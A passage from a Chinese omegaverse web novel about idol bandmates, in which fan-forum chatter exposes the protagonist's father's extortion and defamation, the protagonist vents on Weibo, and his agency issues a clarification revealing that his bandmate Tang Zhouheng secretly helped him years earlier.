【大家发言都谨慎点,别回头被这老登利用了】 …… 【我操谁看到隔壁区的乐子了,疑似fbj他爸现任妻子装理中客路人掉马被人扒皮中】【你现在阅读的是 】 60-66 第61章 第 61 章 谢谢老公。老公你真好。…… 【woc?????什么情况速速把瓜端来】 【[链接]简单总结一下, 3和他爸这件事不是好几个区都在讨论吗,生活区也有一个高楼,经过某书上的同学+酒馆前员工认证论坛目前形势开始往3这边倒, 然后楼里就出现了一个人一直帮3他爸讲话,说什么方他爸或许有错但如果3没问题又怎么会被他爸讨厌巴拉巴拉, 有人觉得他讲话很奇怪,就去看了下他主页, 结果这个人忘了隐藏自己的动态, 被扒出他很久以前在生活区发过一个被人喷出千楼的奇葩帖, 然后, 重点来了】 【重点是什么???给我把话说完啊可恶】 【啊啊啊啊啊怎么断在这里!】 【重点是, 那个帖里就是在讲, 楼主自己和丈夫结婚了,丈夫还有一个和前妻的小孩,不和他们住一起, 但时不时会过来待一天。有天他外出回家, 发现自己的亲儿子头上多了道伤口, 非亲的大儿子在旁边看起来很无助,他一下火就上来了,觉得是大儿子欺负了自己儿子, 二话不说把大儿子赶到门外, 让他在外面晾了一晚上。 过后他冷静下来看了眼监控,发现其实是亲儿子自己爬到桌子上的,大儿子在旁边让他下来但是他没听,他就自己掉下去摔了。即便如此楼主依然认为自己没做错,因为他觉得大儿子完全可以阻止这件事发生,他就是想对小的使坏而已。为了不继续给对方欺负儿子的机会他决定跟丈夫说以后都不让大儿子来家里了, 顺便再扣掉他一半的生活费当做惩罚,本来他是后爸也没有抚养对方的义务。有没有觉得这整个故事都很熟悉?】 【我也对这个帖子有印象……天呐,没记错的话那起码是八九年前的帖了(这么说好像暴露年龄),生活区放上来的截图一下让我回想起第一次看这个帖的膈应感,记得当时大家都在说大儿子好可怜,本来离开亲妈身边状况就和寄人篱下差不多,结果后爸也不是省油的灯。 那个楼主也是全程洋洋得意的语气根本没感觉自己有不对,评论里有人质疑他,他就开始扯,说大儿子一直人品不行小偷小摸对弟弟使坏所以他才会怀疑,但plq让他拿证据又拿不出来,还说丈夫常年在外边忙工作出差,家里的事情都听他的,他说什么就是什么,后面实在被骂太多了才灰溜溜弃帖逃跑,结果没想到这个帖子里的主人公居然是3[惊恐]这个世界好小好魔幻】 【……所以现在的意思是,这个后爸明知道自己错怪了3,但是依然在丈夫面前吹了耳旁风,故意说是3害的弟弟,最后这一家人甚至把事情编得像真的一样直接在网上造谣?】 【这是真出生】 【还有一个华点,这个楼主在大概一个月多前在别的区发了个说自己的儿子在外留学狂花几百万结果现在家里没钱填补窟窿问该怎么控制孩子消费的主题帖,非常艺术[图片]】 【啊啊啊啊啊????我要去围观实时现场】 【不行我受不了了,这什么drama恶毒后爸环节】 【现在去看楼已经没了,不过区里到处都流传着截图,还有人直接拿着图到3他爸账号底下问他“叔叔这是不是真的”,我tm真的笑死】 【有谁注意到燈3同学回应的图上的这个id,也是之前最先在帖子下面说燈3私生活混乱的人,他的ip在A国,而后爸刚好在论坛关注了“留学在A国”这个区】 【我的妈呀…………】 【好一出大瓜……看得我已无语凝噎】 【所以这从头到尾真就是一对恶毒夫夫(甚至可能包括他们的儿子)向自己的亲儿子/继子勒索钱财结果终于暴露的烂瓜,全家齐上阵给人造谣也是够low的】 【万万没想到老三前面那么难绷的局面竟然逆风局打着打着变顺风了,果然不怕神一样的对手就怕猪一样的队友[大拇指]】 【现在就想知道公司到底会怎么回应】 舆论无形中发生了变化。 出现的旧相识明显都站在方柏嘉这边,给了粉丝许多的底气。 霎时间,无数人拿着截图就冲到爆料者与方旭尧一家三口的评论下面开始贴脸。 全程监控着网上风向的经纪人惊讶地发现了这一点,兴奋得快从沙发上跳起来:“我操!好,好,这下证据又增加了。小李——” 他叫助手的名字:“把这个也整理一下,等下我们一起带到派出所。” …… 确定了基本的行动方针后,danny哥就一直在打电话联系人手,他带来的助手则在旁边起草着公司的回应文案。 方柏嘉和汤昼恒回房间换了身衣服,过了十来分钟,跟danny哥一起去了附近的派出所报案。 回来后才发现他们忙活了一个早上,竟然还没吃早餐。 汤昼恒让小乐订了餐上来,继续坐在助手旁边监督他补充完全证据的细节。 方柏嘉自己也在danny哥的指示下写了个回应。 修修改改,又把早餐吃了,差不多是上午十点。 方柏嘉临近生理期,整个人都又困又懒,吃完饭就晕起了碳,说要回床上补一觉。 Danny哥也体恤他身体不舒服,又打完两个电话,到卧室里来看望方柏嘉说:“行,该准备的都准备了,短时间内应该也没什么再需要你出面的地方。你那篇等公司等会儿出了声明,我叫工作人员一块替你发,你好好休息吧。” 方柏嘉整个人缩在被子内部,连头都闷在里边捂着,闻言低低应了声“嗯”。 汤昼恒坐在床边,将房间里的灯关掉了。 屋内窗帘拉着,一下子显得像是半个黑夜。 Alpha给他掖了掖被角:“那你睡吧,我也出去了。” 方柏嘉敷衍地继续“嗯嗯”了两声:“你走吧。” 汤昼恒离开房间,顺便替他关上了门。 被窝里的方柏嘉立刻打开微博的发布界面,对着一片白色的背景敲敲打打起来。 指尖敲击屏幕的“哒哒”声激烈地响个不停。 不消五六分钟,就将一篇篇幅不算长的博文编辑好了。 方柏嘉对着整面的白底黑字匆匆检查了眼,应该差不多。 于是按下发送。 此时的网络上还浑然不知道接下来要发生什么,还在闲聊: 【报——最新前线小道消息,某书有人偶遇老三去派出所报案来,旁边陪同的还有赵danny和老一,看来是打算告了】 【好迅速……不过话说这关老一什么事啊怎么老三报案他也跟着去?】 【可能是前后脚爆瓜的一众惺惺相惜互相取暖吧(。)】 【心情微妙地嗑到了一点13糖】 【13姐你真的我哭死】 直到下一刻。 【woccccccc——!不不发微博了!】 一瞬间,无数人涌入大眼。 @UNFORBIDEM_方柏嘉:怎么会有你这么不要脸的人? 我第一次答应给你钱的时候我们商量好的是什么,是你说当我支付完这笔赡养费我们就两不相欠我才答应你的,结果你后面又跟我要了多少次钱,我对傻逼的容忍变成你蹬鼻子上脸的工具了是吗?你摸着你的良心还有厚脸皮说你在我身上从小到大花过的钱有没有这最开始一百万的十分之一,你心里没数?怎么好意思说你关心我的? 是一家三口都住在首都,把自己和前妻的儿子留在其他地方的亲戚家睡书房折叠床的关心?还是生活费少到最便宜款式的阻隔贴和抑制剂都买不起,必须要帮同学写作业跑腿周末打工挣钱的关心?或者是你的妻子随便两句话就可以断了我的全部学费生活费,你只会过后打电话假惺惺谴责我不知好歹? 你TM除了在生我的那一刻轻松一射还会什么? 底下的配图截的是方旭尧这两次的爆料图。 意思很明显:就是对着你骂的。 【?????????】 【我天用词这么直白的吗】 【轻松一社是什么鬼啊啊啊啊!!!】 【额滴娘啊老三真是一如既往的纯种比格,这个喷不了】 【第一次看不不发这么多话,看来也是真被惹怒了】 【可以理解老三愤怒的心情,但这条微博居然就这么发出来了……公司里没人拦一下吗?这是可以在公共平台上说的吗?】 【本来刚才还在淡淡地忧伤一看见这条立马笑喷了,3不愧是3,还是总能这么突然幽人一默】 【啊啊啊骂得好!就不该给这种人脸![鼻孔喷气]】 微博底下的评论几乎以每秒四位数的速度在恐怖增长着。 网友们热烈讨论的当口,卧室外的客厅里陡然传来一声怒吼:“方柏嘉!——” 经纪人粗着嗓门拉高音调,不可置信地喊:“你居然背着我偷偷发东西!” 声音直接越过空气,穿透了阻挡在这当中的厚重墙面和门板,传到方柏嘉的耳朵里。 气冲冲的脚步声一路来到房门前,将门打开。 床上的人扔开手机,径直往被子里一缩。 过了半秒,又觉得自己也没做错什么啊——起码没犯原则性的问题,于是又迅速掀开被子坐起来,一脸“你能拿我怎么样”的神情,头顶上甚至翘起了一片犟种毛似的头发,面无表情地看着距离他好几米远开外的人。 “我有没有跟你说,在网上发言要小心,你拿我的话当耳旁风是吧?你……” danny哥刚要走进去,就被尾随在他身后跟来的汤昼恒给拉住。 Beta回过头,便见汤昼恒轻声对他道:“别激动,我来替你教训他。” 话是那么讲,但他脸上的表情分明就是“看在我的面子上饶过这一次得了”。 对方按在他肩上的手掌微微下沉,似乎是个让人难以拒绝的动作。 “。”danny哥无语凝噎了下,心道你替我教训他个鬼,这个屋里谁不知道你俩才是一伙的,你肯定关上门就哄他去了。 男人和汤昼恒对视了下,又看了看正靠坐在床边的方柏嘉,也知道这人受他父亲所苦已久,一堆话堵在嘴里憋了半天,最后挤出一句:“……行吧行吧。看在这次也不容易的份上,先不跟他计较。但我告诉你——” 他转身向着方柏嘉道:“你之前跟我要的假没有那么容易给了!那谁,登上他的号把微博删了,快点!” 方柏嘉梗着脖子小声嘀咕:“不给就不给。” 他侧过头,看向一旁落地窗帘的位置。 Danny哥走了,汤昼恒又进了屋,将门关上。 方柏嘉悄悄侧过眼看他,见汤昼恒一点一点向自己走来,脸上表情似笑非笑,很莫测的样子。 床上的青年一时心里打鼓,小心翼翼地瞥了瞥他又收回视线,最后还是按捺不住地开口:“哥哥,你不会真的要教训我吧?” 他那么说着,脸上却没什么“认罪伏法”的愧疚感,更像知道自己无论如何都会被原谅的有恃无恐。 汤昼恒走到近前,俯身靠近方柏嘉,忽然抬起一只手朝他挥舞过来。 方柏嘉赶忙闭眼。 下一瞬,垂在眉毛上的发丝被人撩开,温热的掌心按住他的额头。 方柏嘉眼睫一颤,又缓缓地将眼睛睁开。 只见汤昼恒目光沉静,眼神飘忽着落在他的头顶,两秒后,拿开手掌,语调轻松地说:“还烧着,测下体温。” 他从床头柜上拿来水银体温计,示意方柏嘉用腋下夹住。 方柏嘉被他这么一说,也觉得自己到现在都还晕晕的,从鼻孔呼出去的气流都很滚烫。 AO到了生理期都这样,大脑又兴奋又混沌,也许他发出那条微博,也受到了激素和情绪的影响。 方柏嘉按照对方说的做了,眼睛却盯着他一动不动:“哥哥,你就不想和我说什么吗?难道你一点都不生气?” 他现在叫顺口了,一句话里不带“哥哥”都不习惯。 汤昼恒瞧他一眼,忽然也坐上床面,紧靠在方柏嘉身边道:“我有什么好生气的?” Alpha轻轻地嗤了声:“你是不是觉得我真的不知道你突然说要回屋睡觉是想干什么?用被子把头蒙上,别人就看不见了?我在外面都能瞧见从你手机里透出来的光。” 方柏嘉不知道,自己当时表现得就像一个还没等主人离开就已经迫不及待准备搞破坏的家养动物,甚至都懒得多伪装一下乖巧,心不在焉的样子落在经常观察该物种的人眼中分外明显。 汤昼恒抬起手,食指警告似的点了点方柏嘉的脑门,力度有点大,方柏嘉的头都跟着后仰了两三厘米。 他“啊”了一声,听见汤昼恒好整以暇地说:“没有我睁一只眼闭一只眼,你能这么顺利就把那条微博发出去?” 方柏嘉惊讶又缓慢地睁大眼睛:“原来你知道啊。那你怎么……” “怎么不阻止你,去和danny哥告密?”汤昼恒伸手捏了捏他的下巴。 “真这样了,你能保证你不跟我生气?而且我拦你干什么,你一没违法,二也没对别人做什么不好的事。也是成年人了,该有对自己的行为负责的认知,想发也就发了。” “哥哥——” 方柏嘉看起来有些感动,刚想说些什么,就听汤昼恒接着说:“反正就算你犯了错,受惩罚的也是你,不会牵连到我。” “……”方柏嘉瞬间变了脸,愠怒地用另一种声调道,“哥哥!” 脸上充满了谴责。 汤昼恒闷笑着将他揽在怀里。 顿了顿,忽然变了种语气,缓缓沉沉地说:“而且我知道,你因为这件事忍了很久,也受了很多委屈。所以我认为,适当的发泄无伤大雅。再加上你又快到伪感期了,有些控制不住自己的情绪也很正常,说出来总比藏在心里好。辛苦了。” 汤昼恒揉小狗似的呼噜了两下他的头说:“你做得很好。” 方柏嘉看着对方,鼻尖忽然酸了酸,做了个类似噘嘴的动作。 他轻轻“哼”了一声,仿佛还有点不好意思一样,又像不想让汤昼恒看到自己现在的表情,真的小狗一样猛然扎进汤昼恒的怀里。 “谢谢老公。”他的脸压在alpha的肩上蹭蹭,嗓音有点闷。 “老公你真好。” 他特意用上了那种黏腻的语气,说这话时声线黏糊糊的,嗓子眼里像堵了蜜,多得快要溢出来。声音的震动通过胸膛上的肌肤一直传递过来,搞得汤昼恒也忍不住失神两秒,与其紧密相连的心脏处陡然乱跳了半拍。 旋即又默默地失笑。 他侧过一点身来,调侃似的说:“这个时候知道主动叫老公了,看来还是得多做一点对你有用的事,才能感动你。” “没有啊,”方柏嘉眨眨眼,手指玩着他身前的衣服下摆,“你喜欢让我叫,我就经常叫咯。反正私底下都悄悄这么叫过你无数次了。” 他这么说着,眼睛止不住地往旁边瞟,好像也因为自己刚刚说出口的话而感到羞赧,身体往被子里沉了沉。 汤昼恒没想到他会主动提起这事,整个人愣了愣,刚要说些什么,就被方柏嘉给打断。 “Danny哥他们什么时候走啊。” 对方趴在汤昼恒的肩头小声说着,似乎有点埋怨,抬起头来眼巴巴地看着汤昼恒:“想和你待在一起。” 汤昼恒顿时将前面想的那些忘了,挑挑眉说:“我们现在不就在一起?” “我说的是只有我们两个在一起的那种‘在一起’,其他人都不在的那种。”方柏嘉不满地纠正他,忽然做贼似的往卧室大门的方向看了看,宛若担心有人会趴在门上偷听。 他回过头,悄悄又缓缓地对汤昼恒做出一个口型:“想,和,你,*。” “…………” 汤昼恒发现,方柏嘉真的是越来越大胆了。 他的眼神凝住少顷,忽然慢慢低头,凑过去亲方柏嘉的嘴唇。 对方“唔”了一声,很快伸出双手将他的脖子搂住,将汤昼恒的身体压下来回吻。 …… 公司的人还在外边,方柏嘉又正临近生理期,两人不敢亲太久,怕引发什么额外的反应,没一会儿就分开了。 汤昼恒的一条手臂搭在方柏嘉的肩上,被他搂住的人则重新拿起手机看了起来。 果然不出他的所料,那条微博发出去还没有五分钟,就被经纪人指挥着助手“残忍”地删除了,紧跟着将另一篇言辞更加官方的回应发上去替换。 方柏嘉也不介意,他要的就是这条内容发出去那一瞬间的痛快,好像把往前数年积攒下来的恶气都给一口气出完了一样,心中的担子终于放下,后面再会发生什么,他也懒得再去管。 再然后,山川相缭推出了正式声明,表示近日来由网上部分账号发表的关于旗下艺人方柏嘉的传闻皆为造谣,我司针对主要谣言做出澄清: 1.关于网传中方柏嘉与其家人间的金钱往来。 据经纪人与其沟通了解,方*尧先生利用了我司艺人心软,最初找上门来声称让对方支付完赡养费就不再往来,我司艺人念在旧情照做。结果对面没过多久又再次对艺人索要大额钱款,并在网络上发表对艺人过往经历以及人品的污蔑,以撤掉帖子为条件要挟艺人。 艺人当时年纪还小,见到事情在网上引起反响后十分慌乱,背着公司试图私了,此后又多次被对方通过电话实行敲诈,每次几百万不等,两年间总金额加在一起有千万元(此处附上有方柏嘉的所有转账记录)。 我司也是近日才了解事情真相,再次敬告各位网友,如遇到不合理的恐吓威胁与敲诈勒索,应拿起法律武器对抗,万不可对他人的道德底线存有侥幸,现已对我司艺人进行加强法律意识的批评教育。 2.关于我司艺人方柏嘉通过特殊人脉关系进入公司、在练习生时期受到特殊照顾等传言为假。 本着练习学业两不误的原则,本司向来有为外地来京的练习生安排学业事宜的传统,因为学生学籍在其他城市,前期与原学校沟通包括获取转校证明的工作通常都由学生父完成母,到京后与新学校对接则由公司人员承办。 然而该艺人当时状况特殊,据公司了解,与家里人均已断联,并处在停学状态,我司员工特意找到方*尧先生及其妻子表明愿意承担艺人之后的学习费用及负责后续升学。 然而对方在沟通过程中对上门的公司人员极度不配合,我方不得不花更多时间游说、甚至找来公司高层出面,在首都与津市两地辗转数趟,才勉强赶在新学期开学前办理好该艺人的入学手续。 方*尧先生所述完全是夸大陈词,颠倒黑白。 另外,方柏嘉入选程序也完全正规正当,系他人推荐后我司星探前往确认并邀请其参与我司练习生海选,经过海选考核,我司工作人员评估确定其具备一定潜力和条件后方才签约,并无网传的“金主男友”。也望广大网友擦亮眼睛,不要轻信网上毫无根据的谣言。 关于这部分展示的证据为几张截图。 前两张是山川相缭的员工在微信上与方家人交涉的部分对话,可以看出公司方面一直在努力劝说,然而方家人不是回避话题,就是在打太极,装疯卖傻的本事可以说一绝。 后面几张截图的对话人物,经图片标注提醒,为“我司汤姓艺人”与“艺人部门选角星探”间的聊天记录。 记录显示,“汤姓艺人”在五年前的某天突然联系到了负责给山川相缭正在筹备的偶像男团选角的唐女士,表示他前些天在公司楼下附近的快餐店里看见了一个长得很好看的男生,目前好像正在清吧打工,自己今天刚好刷到对方的视频,让唐女士可以试着接触。 “汤姓艺人”转发过来的视频,赫然正是方柏嘉当年在酒馆里爆火的那一支。 看时间,这支视频才发出不到三个小时,就被他发现并且推荐给了公司内部的星探,并且声明,如果对方感兴趣,最好尽快联络,否则可能被别的公司抢先。 唐女士看到,表示很感兴趣,自己第二天就会去酒馆找人。 按理来说对话到这里就该结束,然而汤姓艺人很快又表示,这个男生他自己之前接触过,家里应该是彻底不管他了,连学也没得上,似乎也没有固定住处,前些天似乎还睡在快餐店。如果公司决定选中他为练习生,可能在上学方面要多费心一些。 唐女士表示没问题。 中间是两人零零星星的对话。 方柏嘉去参加海选的那天,汤姓艺人发:【选上了吗?】 唐女士回:【选上了】 汤姓艺人:【太好了,感谢[鼓掌]】 唐女士:【是感谢你提供了这么好的人选[鬼脸]】 签约合同的当天,唐女士特意通知了对方。 汤姓艺人顺便询问了下方柏嘉入住练习生宿舍后的情况怎么样,还算不算适应。 又过了快两个星期,汤姓艺人问唐女士方柏嘉入学的进展如何。 唐女士:【很麻烦,他爸妈那边完全就是极品,一点都不配合】 唐女士:【真不理解他们为什么自己不让孩子上学还不让我们接管】 汤姓艺人表示不意外:【猜到了,辛苦你们了,麻烦再努力努力】 唐女士回:【当然,这么好的苗子,我们不会因为这点困难就放弃的】 唐女士:【听你的语气,好像很了解他们家的情况?很少见到你对人这么关心,你们关系很好吗?】 唐女士:【我不懂,你为什么叫我不要告诉他你在帮他?】 汤姓艺人:【说不上了解,认识的一个小朋友而已,觉得他的遭遇不太好,尽可能帮上一把吧】 汤姓艺人:【主要是好人做到底哈哈,都推荐他来了肯定要上心一点,不要误人子弟。但也不想让他因此太有压力,就还是装作没看到吧[双掌合十]麻烦以后也不要在他面前提到我】 唐女士:【我懂[OK]】 …… 声明最后表示,方先生前后多次对我司艺人乃至本司形象进行凭空捏造的恶意编排,情节恶劣严重,为捍卫我方合法权益,我司工作人员已对其全部网络言论进行取证并采取法律措施,后续将发布更多公告。 附图是今天早上的报警受案回执。 从早上七点多的爆料,再到不到中午前就报案声明一条龙,整个应对解决的时间甚至不超过四个小时。 相比之下,方旭尧那边则彻底没了声。 山川相缭反应如此迅速,也侧面印证了他们的底气。加上提供的关键性证据远要比“爆料方”更切实有力,本就已经动摇的网络舆论愈发向着方柏嘉这边倾斜。 虽然各个平台上还有些质疑的声音,但已经相当微弱,发出来不多时就被热心路人和粉丝一拥而上地包围。 舆论反转,大起大落,一时间论坛里除了地位逆转后的小方糖在清算、路人在感叹,剩下更多疑惑和不解的声音主要都集中在那几张截图上。 是个人都能猜出来,证据中提到的“汤姓艺人”明显就是汤昼恒无疑。 看清了上面内容后的网友纷纷陷入了巨大的沉默与震惊。 【不是,这个澄清怎么还和老哥有关系啊??????】 第62章 第 62 章 老公请问我可以当你的宝…… 论坛里一下炸开了锅。 【???我没看错吧, 这里为什么会突然冒出来一个老一?】 【啊?啊??啊???啊????】 【受不了了,最后几张截图我以为我在看13捡手机文学,反复点进来又退出确认自己打开的确实是官号发的澄清声明】 【与其说捡手机文学不如说更像小说情节, 这什么温柔年上和小可怜年下的梦幻初相识(虽然年下如今已经变成一只魔童比格】 【为了严谨去搜了一下,scxl的确没有第二个姓汤的艺人】 【发生了什么?方舟姐骂着骂着嘴里忽然被正主塞了一把东西[惊呆]】 【嚼了一下发现原来是糖】 【可恶啊!这贱嘴又不争气地嗑到了!】 【scxl怎么回事……还欲盖弥彰来个“我司汤姓艺人”, 你们公司就一个姓汤的装什么啊[疑惑]】 【可能工作人员也嗑到了(Bushi)我宣布这才是最高级的卖法】 【我有一个想法,scxl该不会是看前面的瓜闹得太厉害了怕恋爱跑粉所以故意打个巴掌给个甜枣卖个大的发糖吊着我们cp姐吧[升天]】 【呵呵中式教育你成功了, 又中了公司的阴谋[流泪]】 【?某只狗又犯规了, 人家只比你小一岁你管人家叫小朋友!什么意鼠![怒]】 【tzh你敢不敢在fbj面前叫他小朋友[怒]】 【此狗18岁就会淡淡地装逼了, 好好笑, 虽然隔段时间就来关心老婆近况但只是认识的一个小↘朋→友↘而已呀】 【这三个字怎么听起来这么宠溺, 某个人就这么享受给别人当救世主的快感吗】 【18岁就会给自己挑老婆的alpha怎么样?】 【……所以1和3在3还没成为练习生的时候就认识了???甚至3成为练习生也是因为有1助力?哥们儿四五年过去了为什么从来没有人提到过[惊呆]】 【怎么不仔细审题, 聊天记录里说了老哥特意叮嘱唐女士不想让老三知道怕他有心理负担()】 【那怎么现在又说出来了啊!不行我真的要笑死了这部分的截图画风和其他证据摆在一起好格格不入】 【可能是为了力破不不有金主男友的传闻吧,某些人以为的走后台只不过是某路过好心伯恩山发力了罢了】 【这太搞了,3他爹当初造谣的时候想过自己的谣言居然也能命中一部分吗?】 【坏消息:3确实有人脉, 好消息:人脉是他未来的队内老公(。)】 【如果3他爹非要说3是通过男朋友才进的公司那我愿意承认他也不完全是造谣(不, 开玩笑的】 【支持老一走老三后门, 对没打错】 【支持+1】 【等等,你的意思是是说,老哥N年前善心大发推荐了一个当时无家可归的小朋友来公司当练习生, 然后这个练习生未来和他进了一个男团成为了队友, 再等等,这么史诗级的cp居然是我产?】 【老一怎么不算给自己亲自选了个老婆出来呢】 【对家cpf我产有这么命运般的相识你们有吗[邪笑]】 【scxl一个澄清让所有方舟批起死回生,谁能想到3的渣爹出来一通骚操作最后受益的居然是方舟姐[吐舌头]】 【13都谈恋爱了13姐还在这儿若无其事地溺爱A宝嗑cp的样子好美,也是不挑上了】 【什么样的公司养出什么样的粉丝,就这么装疯卖傻靠卖腐洗白cp姐也照单全收怪不得现在的爱豆恋爱都这么肆无忌惮[比心]】 【+1,卖得真是令人不适, 在声明里特意插入那么一段的目的是什么懂的都懂】 【那咋办呢,要不然你穿回五年前阻止老哥吧,众所周知没人会特意提前五年埋线卖cp甚至提前预测到其中一人被造谣刚好能引出糖点,那么老一那么做完全就是发自真心,把真实发生过的事发布在台前怎么算卖腐呢,明明是真情流露[邪笑]】 【就是,谈着恋爱还要和队友卖腐我看这个诺亚方昼分明也不亦乐乎,正主追着cpf喂糖我能有什么办法[邪笑]】 【都追男团了还说别人溺爱A宝别太好笑,照这么讲你区有几个不是A宝妈,能在这楼里发帖你装什么?】 【有些人少来教训方舟姐,娱乐圈那么多烂人黄赌毒俱全还一堆人嗑他们cp,13只是误入歧途谈个恋爱嗑一下咋了?!】 【感觉首页的13批在经历了这一遭后精神状态上升到了另一个美丽的层面】 【那么问题来了,3到底知不知道1曾经在背后帮过他,好急啊!!!想在两人身上安插摄像头看他们现在的反应】 …… 汤昼恒和唐女士之间的聊天记录,方柏嘉自然是看了的。 他在自己的微博首页一刷新,就看到了公司员工用组合大号发布的那条澄清声明。 抱着毕竟事关自己的清白,他也要大概过一下目的心态,方柏嘉点了进去。 然后人就慢慢呆住了。 方柏嘉几乎不敢相信自己看到的。 ……汤昼恒怎么会出现在这里??? 汤昼恒向danny哥展示他拥有的证据时特意绕开了方柏嘉,没有给他看。方柏嘉问他是什么,他也只说“你到时候就知道了”。 可方柏嘉现在真的看到这段对话,反应却和绝大部分网友一样,第一个涌上来的念头是怀疑自己的眼睛。 等一下,所以他当年在清吧遇到的那个星探其实是被汤昼恒介绍来的? 汤昼恒不仅在私信里劝说他,后面在短视频软件上刷到他的视频,甚至又做了双重保险,让星探再来联络他—— 然后他就这么一直看着方柏嘉签约成为练习生、找到了学校、生活逐渐稳定,甚至直到他们一起出道后的这么多年,方柏嘉装作根本认识他的样子都被这个人看在眼里……? WTF????? 方柏嘉晕眩了,一阵比之前小号被爆更浓重的羞耻感霎时涌上心头,让他连呼吸都感觉困难,脚趾也在被子里动起工来。 比被汤昼恒知道他就是当年的粉丝更可怕的是什么? 是你一直以为自己掩藏得很好,但其实对方从一开始就知道你是他的那个粉丝。 这人到底图什么? 方柏嘉在心里骂骂咧咧,一时说不清自己是尴尬还是羞恼更多,脸也腾地红了起来,仿佛放在火上被烧热的金属。 他倏地抬头看向汤昼恒,刹那间近乎失语。 好像有很多话想说,又一时半会什么都说不出来。 本就受到生理期影响的大脑越发迟钝得厉害,方柏嘉感觉自己的理智就像一根本就岌岌可危的弦,“嘎嘣”一下,断了。 “你你你你你……”他嗓子眼里挤出来的话都带着虚无缥缈的颤音。 澄清里提到的这位“汤姓艺人”现在就坐在他的身边,将他半个人都圈在臂弯里。 方柏嘉刷手机时没避着他,汤昼恒显然看到了。 “我我我我我。”或许是他现在的表情太好笑又太可爱,汤昼恒禁不住模仿着他的音调,气定神闲道,“你结巴了吗?” 他伸手捏了下方柏嘉的嘴唇:“看都看了,怎么不说话?” 方柏嘉:“…………” 他能说什么?他应该说什么? 太多的疑问不知道该从何讲起,方柏嘉霎时间竟好像理解了汤昼恒之前因为一声“老公”执着不已的心情。 太想知道真相和答案了,也想弄明白对方到底是怎么想的。 以至于方柏嘉还没从刚才那阵没过头顶的尴尬中缓过来,便已下意识地道:“你明明一直知道我的身份,为什么还要装不认识我?” “……” 汤昼恒先是颔首沉吟了一下,然后反问他:“那你又为什么要跟我说谎,明明被选上了又说自己没选上?” “。”方柏嘉一下哑然,顿时变得无话可说,只有一双眼睛疯狂眨着望向对方。 好像在给自己积蓄勇气似的,过了那么十来秒,他突然开口:“我不是故意要放你鸽子,也不是故意不跟你说真话的。我就是……不知道该面对你。” 方柏嘉小声说着,又开始惯性玩起汤昼恒的一角,把衣服面料搓成一条,放在手指间绕来绕去。 …… 汤昼恒的这一记反问可谓是戳到了他的要害,却也让方柏嘉明白过来,其实哪有什么别的原因。 每个人都站在自己的角度看待问题,在当下那一刻做出最真实也最贴近自我的反应。 他会因为种种原因选择不告知对方自己进入公司的消息,那么汤昼恒之所以会那么做,肯定也有他自己的理由。 如果换作之前的方柏嘉,得知对方有事情隐瞒自己,肯定会疑心重重地觉得对方别有目的吧。 他太敏感了,像以前在外面流浪过的动物,心里总是抱有一丝警觉,会第一时间怀疑别人对他的举动究竟出自好心还是恶意。 要围着那人不停地转,不停地嗅,直到确保对方手上没有能够伤害他的武器——这是方柏嘉人生前十几年里通过学习获得的本能。 担心对方不喜欢自己、担心对方不够认真、担心对方还有不为自己所知的一面。 哪怕他喜欢汤昼恒,这些探究依旧难以避免。 可汤昼恒帮他慢慢矫正过来了。 方柏嘉从他这里,获得了许多毋庸置疑、没有条件的关心和照顾。 也因为这个人,来到更广阔的世界、登上更大的舞台,让他知道,原来自己可以拥有这么多的东西,理应得到这么多的爱。 现在,他和汤昼恒都已经很了解彼此。 方柏嘉相信对方无论如何也不会做出有害于他的举动,因此即便在知道这件事后,最多感触也只是好奇,而非自己被隐瞒过的不满。 ……更何况论起“隐瞒”,他做的未必比汤昼恒少。 方柏嘉忽然就不那么羞耻于和汤昼恒说出藏在自己心里的想法了。 他的脸红得像已经开始成熟的苹果:“哥哥,当时你跟我说的那些,对我来说都太天方夜谭了,你懂吗?” “哪怕我真的成了练习生,你给我的感觉依然像是两个世界的人。我之前又在网上那么……呃、那么叫你,跟你说了那么多关于我自己的事情,结果突然间被告知我马上要和你待在同一家公司,未来有可能和你见面,被你知道我是谁,我——” 现在想想,这种窘迫和慌张感就跟毫无准备地要和网友面基差不多。 方柏嘉的情况还更惨一点,面基对象是他在网上口出狂言过无数回的明星。 怎一个超级无敌加倍社死了得。 方柏嘉蔫蔫地,欲言又止般地说:“哥哥,不是每个人追星都喜欢和正主亲密接触的,你懂吗?像我这种,就适合在网上过过嘴瘾,真到了现实中……” “真到现实中,你就怂了?”汤昼恒替他接道。 “……” 方柏嘉张了张嘴又合上,发现自己还真的反驳不了,不由露出那种“你说是什么就是什么吧”的悻悻表情。 “好吧,我明白。”汤昼恒欣然颔首,看见他的表情就觉得好笑,也没继续为难他,“其实我后来也猜到了。” 猜到了? 方柏嘉的视线一下被吸引过去。 汤昼恒的嘴唇刚动了动,门外就响起了敲门声。 原来是danny哥他们看事情处理得差不多了,准备起身告辞。 他和他的助手已经订了今晚回首都的机票,因为方旭尧人在首都,这起案件不出意外会被移送到那边的公安机关,他要赶回去负责后续的交涉和处理。 临走前danny哥拉住汤昼恒,和他仔细叮嘱了些什么——方柏嘉不用多想也知道,其中一定少不了让他看紧自己、“别再让方柏嘉闯祸”之类的条例。 五六分钟后,汤昼恒回来了。 他重新坐回床上,将方柏嘉抱在怀里。 “让我想想,这个应该怎么说。”Alpha抓起方柏嘉的一只手,将其捏在掌中,翻来覆去地轻轻把玩。 片刻过后,道: “和你聊完后的那个周末,我特意有去找负责海选招生的人问过,她说没有人像我说的那样来找她,你也没有主动给我发消息,我就知道你应该没去。” ——汤昼恒紧接着就开始思考,为什么? 看方柏嘉在聊天中的表现,并非对此没有向往,而且他既然写歌,肯定也是对这方面有兴趣,有这样的机会,他为什么不想争取? “我那时候就意识到,可能是我把事情想得太简单了。”汤昼恒道。 成为娱乐公司的练习生、有机会进娱乐圈,听起来是万里挑一的好事,然而,到最后能实现愿望的人却寥寥无几,绝大多数人最终都只是白白浪费了时间和精力。 许多家境优渥的家庭在是否要送孩子来当练习生这件事上都多有犹豫,更何况方柏嘉那会儿完全就是孑然一人,对方要面临的挑战和纠结远要比他想象的大得多。 “不管怎么说,我自己并没有经历过这些,即便我自认为是对你好,也依旧有站着说话不腰疼的嫌疑,或许也没什么说服力,甚至可能显得很冒昧。” “所以我就想,不如让更有发言权的人来决定。如果她看过你了,也觉得你可以,那么由她来和你交涉会更合适,你应该也更听得进去——刚好就在那个时候,我刷到了你的视频。” 方柏嘉听得十分认真,几乎忘了呼吸:“然后呢?你担心你的行为又‘冒昧’到我,后面就没再出头,只是通过唐姐了解我的情况?” 他小心翼翼地:“我后面跟你说我没选上……你是怎么想的?” 